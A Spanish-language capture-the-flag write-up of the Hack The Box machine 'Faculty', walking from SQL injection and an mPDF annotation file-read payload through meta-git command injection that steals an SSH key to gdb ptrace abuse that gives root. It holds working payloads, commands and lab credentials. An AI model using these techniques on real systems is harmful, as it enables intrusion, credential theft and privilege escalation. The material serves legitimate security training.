This page looks best with JavaScript enabled

Hack The Box - Faculty

 •  ✍️ sckull

La creación de PDFs a partir de etiquetas HTML de mPDF nos permitió obtener credenciales de una base de datos, los cuales nos dieron acceso a un primer usuario por SSH. Tras realizar Command Injection logramos obtener acceso a un segundo usuario. Finalmente escalamos privilegios a traves de GDB.

Nombre Faculty box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.169
Maker

gbyolo

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.6, 5.6, 5.5, 4.5, 4.4],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.92 scan initiated Mon Jul 18 18:43:37 2022 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.169
Nmap scan report for 10.10.11.169 (10.10.11.169)
Host is up (0.063s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
|   256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_  256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 18 18:43:46 2022 -- 1 IP address (1 host up) scanned in 9.43 seconds

Web Site

El sitio web presenta una redirección al dominio faculty.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/faculty ❯ curl -sI 10.10.11.169
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 18 Jul 2022 22:43:58 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://faculty.htb

 π ~/htb/faculty ❯

El sitio unicamente muestra un formulario para el ingreso de un ID.

image

Al realizar un “bypass” con ' or 1=1 -- - logramos ingresar con el usuario Smith, unicamente se muestra un calendario.

image

Directory Brute Forcing

feroxbuster muestra nuevas direcciones como admin, en este encontramos multiples paginas php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 π ~/htb/faculty ❯ feroxbuster -u http://faculty.htb -x html,php,/ --silent
http://faculty.htb/admin
http://faculty.htb/test.php
http://faculty.htb/login.php
http://faculty.htb/admin/login.php
http://faculty.htb/admin/assets
http://faculty.htb/admin/download.php
http://faculty.htb/admin/database
http://faculty.htb/admin/assets/img
http://faculty.htb/admin/assets/css
http://faculty.htb/admin/assets/uploads
http://faculty.htb/admin/ajax.php
http://faculty.htb/admin/assets/uploads/gallery
http://faculty.htb/admin/users.php
http://faculty.htb/admin/home.php
http://faculty.htb/admin/events.php
http://faculty.htb/admin/index.php
http://faculty.htb/index.php
http://faculty.htb/admin/header.php
http://faculty.htb/admin/courses.php
http://faculty.htb/admin/assets/vendor
http://faculty.htb/admin/faculty.php
http://faculty.htb/admin/assets/vendor/jquery
http://faculty.htb/admin/navbar.php
http://faculty.htb/admin/db_connect.php
http://faculty.htb/admin/subjects.php

Tras visitar la dirección admin/ observamos un “dashboard”, se muestra que ingresamos como Smith, seguramente está tomando la cookie del “login” anterior.

image

SQLi

Como sabemos es posible realizar bypass al login, por lo que podríamos utilizar sqlmap para realizar una enumeración y explotación. Observamos la base de datos scheduling_db.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 π ~/htb/faculty ❯ sqlmap -u "http://faculty.htb/admin/ajax.php?action=login_faculty" --data "id_no=1234567" --method POST -p id_no --batch --dbs --risk 3 level 5
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.6.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[.. snip ..]
[18:07:28] [INFO] target URL appears to have 10 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:07:35] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[18:07:37] [INFO] target URL appears to be UNION injectable with 10 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[18:07:43] [INFO] checking if the injection point on POST parameter 'id_no' is a false positive
POST parameter 'id_no' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 238 HTTP(s) requests:
---
Parameter: id_no (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id_no=1234567' AND (SELECT 9190 FROM (SELECT(SLEEP(5)))gAAt) AND 'rpgO'='rpgO
---
[18:07:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0, PHP
back-end DBMS: MySQL >= 5.0.12
[18:07:59] [INFO] fetching database names
[18:07:59] [INFO] fetching number of databases
[18:07:59] [INFO] resumed: 2
[18:07:59] [INFO] resumed: information_schema
[18:07:59] [INFO] resumed: scheduling_db
available databases [2]:
[*] information_schema
[*] scheduling_db

Logramos obtener la información de la base de datos, encontramos las credenciales del administrador, además los “codigos” de ingreso de tres diferentes usuarios e información de cursos y temas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
Database: scheduling_db
Table: faculty
[3 entries]
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| id | id_no    | email              | gender | address             | contact        | lastname | firstname | middlename |
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| 1  | 63033226 | jsmith@faculty.htb | Male   | 151 Blue Lakes Blvd | (646) 559-9192 | Smith    | John      | C          |
| 2  | 85662050 | cblake@faculty.htb | Female | 225 Main St         | (763) 450-0121 | Blake    | Claire    | G          |
| 3  | 30903070 | ejames@faculty.htb | Male   | 142 W Houston St    | (702) 368-3689 | James    | Eric      | P          |
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+

Database: scheduling_db
Table: users
[1 entry]
+----+---------------+------+----------------------------------+----------+
| id | name          | type | password                         | username |
+----+---------------+------+----------------------------------+----------+
| 1  | Administrator | 1    | 1fecbe762af147c1176a0fc2c722a345 | admin    |
+----+---------------+------+----------------------------------+----------+

Database: scheduling_db
Table: class_schedule_info
[0 entries]
+----+-----------+-------------+---------+
| id | course_id | schedule_id | subject |
+----+-----------+-------------+---------+
+----+-----------+-------------+---------+

Database: scheduling_db
Table: subjects
[5 entries]
+----+-----------------------------------------------------------------------------------------------------------------------------------+----------------------------+
| id | subject                                                                                                                           | description                |
+----+-----------------------------------------------------------------------------------------------------------------------------------+----------------------------+
| 1  | DBMS                                                                                                                              | Database Management System |
| 2  | Mathematics                                                                                                                       | Mathematics                |
| 3  | English                                                                                                                           | English                    |
| 4  | Computer Hardware                                                                                                                 | Computer Hardware          |
| 5  | History                                                                                                                           | History                    |
+----+-----------------------------------------------------------------------------------------------------------------------------------+----------------------------+

Database: scheduling_db
Table: courses
[4 entries]
+----+------------------------+---------------------------------------------+
| id | course                 | description                                 |
+----+------------------------+---------------------------------------------+
| 1  | Information Technology | IT                                          |
| 4  | BSCS                   | Bachelor of Science in Computer Science     |
| 5  | BSIS                   | Bachelor of Science in Information Systems  |
| 6  | BSED                   | Bachelor in Secondary Education             |
+----+------------------------+---------------------------------------------+

Database: scheduling_db
Table: schedules
[1 entry]
+----+------------+--------------------+----------+----------+-----------+-------------+---------------------+--------------+---------------+---------------+-------------------------------------------------------+
| id | faculty_id | title              | time_to  | location | time_from | description | date_created        | is_repeating | schedule_date | schedule_type | repeating_data                                        |
+----+------------+--------------------+----------+----------+-----------+-------------+---------------------+--------------+---------------+---------------+-------------------------------------------------------+
| 3  | 2          | Class 101 (M & Th) | 12:00:00 | Online   | 09:00:00  | Sample Only | 2020-10-20 15:51:01 | 1            | 0000-00-00    | 1             | {"dow":"1,4","start":"2020-10-01","end":"2020-11-30"} |
+----+------------+--------------------+----------+----------+-----------+-------------+---------------------+--------------+---------------+---------------+-------------------------------------------------------+

El usuario de la base de datos unicamente tiene el privilegio USAGE por lo que no podemos hacer nada por aquí.

1
2
3
database management system users privileges:
[*] %sched% [1]:
    privilege: USAGE

User - Gbyolo

HTML to PDF

Encontramos que el sitio web puede exportar archivos PDF con la información de los cursos, temas, etc. del sitio web.

image

Si observamos la solicitud realizada por el sitio, vemos que envia contenido codificado a download.php.

image

El contenido tiene codificación doble en URL y codificaciín en base64. Se muestra contenido HTML.

image

Enviamos un tag h1 codificado de la misma forma, logramos generar un pdf con su contenido.

image

Si observamos la url se muestra el texto “mpdf”, tras ejecutar feroxbuster en este directorio podríamos decir que se trata de la libreria mPDF, si observamos los ejemplos se muestra contenido html para generar un PDF.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 π ~/htb/faculty ❯ feroxbuster -u http://faculty.htb/mpdf/ -x php,html,/ --silent
http://faculty.htb/mpdf/includes
http://faculty.htb/mpdf/tmp
http://faculty.htb/mpdf/config.php
http://faculty.htb/mpdf/classes
http://faculty.htb/mpdf/includes/functions.php
http://faculty.htb/mpdf/includes/out.php
http://faculty.htb/mpdf/font
http://faculty.htb/mpdf/classes/gif.php
http://faculty.htb/mpdf/graph.php
http://faculty.htb/mpdf/classes/barcode.php
http://faculty.htb/mpdf/classes/sea.php
http://faculty.htb/mpdf/patterns
http://faculty.htb/mpdf/patterns/en.php
http://faculty.htb/mpdf/patterns/de.php
http://faculty.htb/mpdf/patterns/es.php
http://faculty.htb/mpdf/patterns/ru.php
http://faculty.htb/mpdf/patterns/it.php
http://faculty.htb/mpdf/patterns/nl.php
http://faculty.htb/mpdf/patterns/fi.php
http://faculty.htb/mpdf/patterns/sv.php
http://faculty.htb/mpdf/qrcode
http://faculty.htb/mpdf/qrcode/data
http://faculty.htb/mpdf/qrcode/image.php
http://faculty.htb/mpdf/qrcode/index.php
http://faculty.htb/mpdf/classes/bmp.php
http://faculty.htb/mpdf/compress.php
http://faculty.htb/mpdf/classes/svg.php
^C

Encontramos algunos CVE (CVE-2019-1000005, CVE-2018-19047) relacionados a esta librería, unicamente logramos reproducir el SSRF utilizando el tag <script> entre otros, sin embargo no obtuvimos información de archivos o servicios locales.

Investigando sobre esta librería y posibles vulnerabilidades encontramos un post sobre Local file inclusion at IKEA.com donde presenta una explotación LFI utilizando una etiqueta de anotación de mPDF para la lectura de archivos locales.

1
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Tras enviar la anotación observamos que el pdf tiene un documento adjunto, al abrirlo se muestra el contenido del archivo /etc/passwd. Encontramos dos usuarios: gbyolo y developer.

image

Realizando la lectura de distintos archivos php encontramos las credenciales de la conexión de base de datos.

1
2
3
4
// db_connect.php
<?php 

$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));

Shell

Utilizando una de las contraseñas y usuarios logramos ingresar por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 π ~/htb/faculty ❯ ssh gbyolo@10.10.11.169 # Co.met06aci.dly53ro.per
gbyolo@10.10.11.169's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jul 20 01:36:44 CEST 2022

  System load:  0.01              Processes:             226
  Usage of /:   76.4% of 4.67GB   Users logged in:       1
  Memory usage: 52%               IPv4 address for eth0: 10.10.11.169
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
Last login: Wed Jul 20 00:00:12 2022 from 10.10.14.58
gbyolo@faculty:~$ whoami;id;pwd
gbyolo
uid=1000(gbyolo) gid=1000(gbyolo) groups=1000(gbyolo)
/home/gbyolo
gbyolo@faculty:~$

User - Developer

Al ingresar se muestra un mensaje de un correo, al revisar los correos, vemos que developer menciona que podemos administrar repositorios git.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
gbyolo@faculty:~$ cat /var/mail/gbyolo
From developer@faculty.htb  Tue Nov 10 15:03:02 2020
Return-Path: <developer@faculty.htb>
X-Original-To: gbyolo@faculty.htb
Delivered-To: gbyolo@faculty.htb
Received: by faculty.htb (Postfix, from userid 1001)
    id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET)
Subject: Faculty group
To: <gbyolo@faculty.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20201110140302.0399E26125A@faculty.htb>
Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
From: developer@faculty.htb
X-IMAPbase: 1605016995 2
Status: O
X-UID: 1

Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb

gbyolo@faculty:~$

Command Injection

Observamos que el usario gbyolo puede ejecutar meta-git como developer, seguramente a este comando se refería el correo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
gbyolo@faculty:~$ sudo -l -l
[sudo] password for gbyolo:
Matching Defaults entries for gbyolo on faculty:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gbyolo may run the following commands on faculty:

Sudoers entry:
    RunAsUsers: developer
    Commands:
    /usr/local/bin/meta-git
gbyolo@faculty:~$

Un post de hackerone muestra que es posible inyectar comandos.

1
meta-git clone 'sss||touch HACKED'

Vemos que al reproducir la explotación se crea un archivo que pertenece a developer, por lo que podemos ejecutar comandos con este usuario.

1
2
3
4
5
6
7
8
gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'sss||touch file_x' 2>/dev/null
meta git cloning into 'sss||touch file_x' at sss||touch file_x

sss||touch file_x:
sss||touch file_x ✓
gbyolo@faculty:/tmp$ ls -lah file_x
-rw-rw-r-- 1 developer developer 0 Jul 20 01:44 file_x
gbyolo@faculty:/tmp$

Realizamos la lectura de la clave privada de developer, para luego ingresar por ssh utilizando esta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
gbyolo@faculty:/dev/shm$ sudo -u developer meta-git clone 'sss||cat /home/developer/.ssh/id_rsa' 2>/dev/null
meta git cloning into 'sss||cat /home/developer/.ssh/id_rsa' at id_rsa

id_rsa:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
[.. snip ..]
9u1fIdwzi56TWNhQAAABFkZXZlbG9wZXJAZmFjdWx0eQ==
-----END OPENSSH PRIVATE KEY-----
gbyolo@faculty:/dev/shm$ nano id_rsa
gbyolo@faculty:/dev/shm$ chmod 600 id_rsa
gbyolo@faculty:/dev/shm$ ssh -i id_rsa developer@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:EzyBEKh/AuG97K3+To2ltCrl4wjUY9qrlnj8nNuvW8U.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jul 20 01:45:49 CEST 2022

  System load:  0.0               Processes:             231
  Usage of /:   74.9% of 4.67GB   Users logged in:       1
  Memory usage: 34%               IPv4 address for eth0: 10.10.11.169
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


developer@faculty:~$ whoami;id; pwd
developer
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
/home/developer
developer@faculty:~$

Logrando tambien obtener nuestra flag user.txt.

1
2
3
4
5
developer@faculty:~$ ls
sendmail.sh  user.txt
developer@faculty:~$ cat user.txt
6c505d51049f9fb545788a5031e4e8c9
developer@faculty:~$

Privesc

Realizamos una enumeración de las capabilities en la máquina y observamos a gdb.

1
2
3
4
5
6
7
developer@faculty:~$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
developer@faculty:~$

Hacktricks menciona un ejemplo: Example with environment (Docker breakout) - Gdb Abuse, utilizando gdb para ejecutar comandos utilizando el comando call en un proceso adjunto. La documentación indica que call permite evaluar funciones las cuales estan presentes en el programa que está siendo debugeado, en el ejemplo utiliza la funcion system() para ejecutar comandos, para ello dicha funcion debe de existir en el programa en ejecución.

Listamos los procesos con ps, observamos todos aquellos que son ejecutados por root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
developer@faculty:~$ ps -ef|grep root
[.. snip ..]
root         619       1  0 01:40 ?        00:00:01 /sbin/multipathd -d -s
root         659       1  0 01:40 ?        00:00:00 /usr/bin/VGAuthService
root         660       1  0 01:40 ?        00:00:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         669       1  0 01:40 ?        00:00:09 /usr/bin/vmtoolsd
root         683       1  0 01:40 ?        00:00:00 /usr/lib/accountsservice/accounts-daemon
root         689       1  0 01:40 ?        00:00:00 /usr/sbin/irqbalance --foreground
root         690       1  0 01:40 ?        00:00:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         691       1  0 01:40 ?        00:00:00 /usr/lib/policykit-1/polkitd --no-debug
root         699       1  0 01:40 ?        00:00:00 /lib/systemd/systemd-logind
root         700       1  0 01:40 ?        00:00:00 /usr/lib/udisks2/udisksd
root         754       1  0 01:40 ?        00:00:00 /usr/sbin/ModemManager
root         928       1  0 01:40 ?        00:00:00 /usr/sbin/cron -f
root         929       1  0 01:40 ?        00:00:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
root         931     928  0 01:40 ?        00:00:00 /usr/sbin/CRON -f
root         940     931  0 01:40 ?        00:00:00 /bin/sh -c bash /root/service_check.sh
root         941     940  0 01:40 ?        00:00:00 bash /root/service_check.sh
root         946       1  0 01:40 ?        00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
root         957       1  0 01:40 ?        00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         982       1  0 01:40 tty1     00:00:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root        1567       1  0 01:40 ?        00:00:00 /usr/lib/postfix/sbin/master -w
root        1610     957  0 01:40 ?        00:00:00 sshd: gbyolo [priv]
root        1995     957  0 01:45 ?        00:00:00 sshd: developer [priv]
root        3708       2  0 02:33 ?        00:00:01 [kworker/0:1-events]
root        5104       2  0 03:13 ?        00:00:01 [kworker/1:2-events]
root        5736       2  0 03:35 ?        00:00:00 [kworker/u256:3-events_unbound]
root        5808       2  0 03:39 ?        00:00:01 [kworker/0:0-events]
root        5868       2  0 03:39 ?        00:00:00 [kworker/1:0-rcu_par_gp]
root        6463       2  0 03:58 ?        00:00:00 [kworker/u256:0-events_unbound]
root        6678       2  0 04:04 ?        00:00:00 [kworker/u256:1-events_unbound]
root        6839       2  0 04:09 ?        00:00:00 [kworker/1:1-events]
root        6870     941  0 04:09 ?        00:00:00 sleep 20
develop+    6913    2093  0 04:09 pts/1    00:00:00 grep --color=auto root
developer@faculty:~$

Despues de listar las funciones de algunos procesos con gdb encontramos que en el proceso ejecutado por python existe la función system()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
developer@faculty:~$ gdb -p 690 -q
Attaching to process 690
Reading symbols from /usr/bin/python3.8...
[.. snip ..]
0x00007f5077df8967 in __GI___poll (fds=0x1d01a60, nfds=3, timeout=-1) at ../sysdeps/unix/sysv/linux/poll.c:29
29  ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
(gdb) info functions system
All functions matching regular expression "system":

File ../sysdeps/posix/system.c:
197:    int __libc_system(const char *);
102:    static int do_system(const char *);

File pt-system.c:
38: static int system_compat(const char *);

File svc.c:
309:    void __GI_svcerr_systemerr(SVCXPRT *);

Non-debugging symbols:
0x0000000000425530  system@plt                          # <<<<<<<<<<<<<<<------------------
0x00007f5077cc96e0  __libc_system@plt
0x00007f5077577180  g_mem_is_system_malloc
0x00007f50775a8d60  g_get_system_data_dirs
0x00007f50775a8de0  g_get_system_config_dirs
0x00007f5077263bf0  g_get_system_config_dirs@plt
0x00007f5077263c40  g_get_system_data_dirs@plt
0x00007f5077266c10  g_filesystem_preview_type_get_type
0x00007f507728c060  g_file_query_filesystem_info
0x00007f507728c1f0  g_file_query_filesystem_info_async
0x00007f507728c2b0  g_file_query_filesystem_info_finish
0x00007f50772b3450  g_mount_operation_get_is_tcrypt_system_volume
0x00007f50772b34b0  g_mount_operation_set_is_tcrypt_system_volume
0x00007f50772e3740  g_tls_connection_set_use_system_certdb
0x00007f50772e37d0  g_tls_connection_get_use_system_certdb
0x00007f50772ff1e0  g_unix_is_mount_path_system_internal
0x00007f50772ff2a0  g_unix_is_system_fs_type
0x00007f50772ff340  g_unix_is_system_device_path
0x00007f50773001f0  g_unix_mount_is_system_internal
0x00007f50771e7610  mnt_guess_system_root
0x00007f50771b4520  selinux_systemd_contexts_path
0x00007f5076f64b50  _dbus_init_system_log
0x00007f5076f659c0  _dbus_user_database_lock_system
0x00007f5076f659e0  _dbus_user_database_unlock_system
0x00007f5076f65d00  _dbus_user_database_get_system
0x00007f5076f66830  _dbus_error_from_system_errno
0x00007f5076ec94c0  sd_device_get_subsystem
0x00007f5076ecb8a0  sd_device_get_parent_with_subsystem_devtype
0x00007f5076ecba10  sd_device_new_from_subsystem_sysname
0x00007f5076ecdba0  sd_device_monitor_filter_add_match_subsystem_devtype
0x00007f5076ece3b0  sd_device_enumerator_get_subsystem_next
0x00007f5076ece8c0  sd_device_enumerator_add_match_subsystem
0x00007f5076ed3650  sd_device_enumerator_get_subsystem_first
0x00007f5076ed3ce0  sd_bus_default_system
0x00007f5076ee2f60  sd_bus_open_system_machine
0x00007f5076ee3180  sd_bus_open_system_remote
0x00007f5076ee34c0  sd_bus_open_system_with_description
0x00007f5076ee3640  sd_bus_open_system
(gdb)

Intentamos crear un archivo utilizando esta funcion con touch, observamos que el archivo fué creado por el usuario root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) call system("touch /tmp/filex")
[Detaching after vfork from child process 7104]
$1 = 0
(gdb) q
A debugging session is active.

    Inferior 1 [process 690] will be detached.

Quit anyway? (y or n) y
Detaching from program: /usr/bin/python3.8, process 690
[Inferior 1 (process 690) detached]
developer@faculty:~$ ls -lah /tmp
total 48K
drwxrwxrwt 12 root      root      4.0K Jul 20 04:14 .
drwxr-xr-x 19 root      root      4.0K Jul 20 04:14 ..
drwxrwxrwt  2 root      root      4.0K Jul 20 01:40 .ICE-unix
drwxrwxrwt  2 root      root      4.0K Jul 20 01:40 .Test-unix
drwxrwxrwt  2 root      root      4.0K Jul 20 01:40 .X11-unix
drwxrwxrwt  2 root      root      4.0K Jul 20 01:40 .XIM-unix
drwxrwxrwt  2 root      root      4.0K Jul 20 01:40 .font-unix
-rw-r--r--  1 root      root         0 Jul 20 04:14 filex
drwx------  3 root      root      4.0K Jul 20 01:40 systemd-private-da257aa0bee14aeaac159613eb6b81ed-ModemManager.service-BNZLMf
drwx------  3 root      root      4.0K Jul 20 01:40 systemd-private-da257aa0bee14aeaac159613eb6b81ed-systemd-logind.service-9pz07g
drwx------  3 root      root      4.0K Jul 20 01:40 systemd-private-da257aa0bee14aeaac159613eb6b81ed-systemd-resolved.service-cxLYYg
drwx------  3 root      root      4.0K Jul 20 01:40 systemd-private-da257aa0bee14aeaac159613eb6b81ed-systemd-timesyncd.service-ApuWBf
drwx------  2 root      root      4.0K Jul 20 01:40 vmware-root_669-3980232826
developer@faculty:~$

Shell

Agregamos la clave publica de developer al archivo authorized_keys de root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
developer@faculty:~/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub  known_hosts
developer@faculty:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEMCCsdwPYjhTfb3/+x1qmfidxXNFhnEAIL9zPGZI7lSzZLzt3HLCLNnSEOzMfKT5sIHkHXC+u2YAW7Yo3hoYKgAkw0aZWhwGciRJzMan/MHLSlUrofuDoYwBVKmuJtf8Ot0cJyawi7taqTJnSYM3axL7e4yTojffrXHbO0AbVoL3ElfsQmweZcNEtnwbVGJsqkjRaoBY1JccMO9zAOmZYOT42UhEqSkZxUHLOEbzHVrO8pZL0bfrN4ssBEE/jdrHh4BWuwB37uKDe+X0i/5m1HOQfQ+wyGuIiUcE1TL10UAY/lprhlSRgeLX8yUGexY6CJEcyBwnNxZc4Z4glu1x2nZoE6NmUYn4bq4tavHCVf1qczeA9dNPgMaplXVCn/f4lkXX38pcnV2vSLfbyOxoyXMOKMXltmOkA5wvFLRXzi331H/ttFst0XEwT/THJvpAwpwwOcusNSZ2GI5tE5kWXe/mGexb0KgUuIoT/iNYo/qU9T7fUY5Okq0tdgwNtx6k= developer@faculty
developer@faculty:~/.ssh$ pwd
/home/developer/.ssh
developer@faculty:~/.ssh$ gdb -p 690 -q
Attaching to process 690
Reading symbols from /usr/bin/python3.8...
[.. snip ..]
29  ../sysdeps/unix/sysv/linux/poll.c: No such file or directory.
(gdb) call system("cat /home/developer/.ssh/id_rsa.pub > /root/.ssh/authorized_keys")
[Detaching after vfork from child process 7458]
$1 = 0
(gdb) q
A debugging session is active.

    Inferior 1 [process 690] will be detached.

Quit anyway? (y or n) y
Detaching from program: /usr/bin/python3.8, process 690
[Inferior 1 (process 690) detached]
developer@faculty:~/.ssh$

Logramos ingresamos como root por SSH en localhost y obtener nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
developer@faculty:~/.ssh$ ssh root@localhost
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jul 20 04:24:24 CEST 2022

  System load:  0.0               Processes:             238
  Usage of /:   74.9% of 4.67GB   Users logged in:       2
  Memory usage: 46%               IPv4 address for eth0: 10.10.11.169
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
root@faculty:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@faculty:~# ls
check_cron.sh  root.txt  service_check.sh
root@faculty:~# cat root.txt
0bcbf940d39d911f5f5eab105fb57894
root@faculty:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe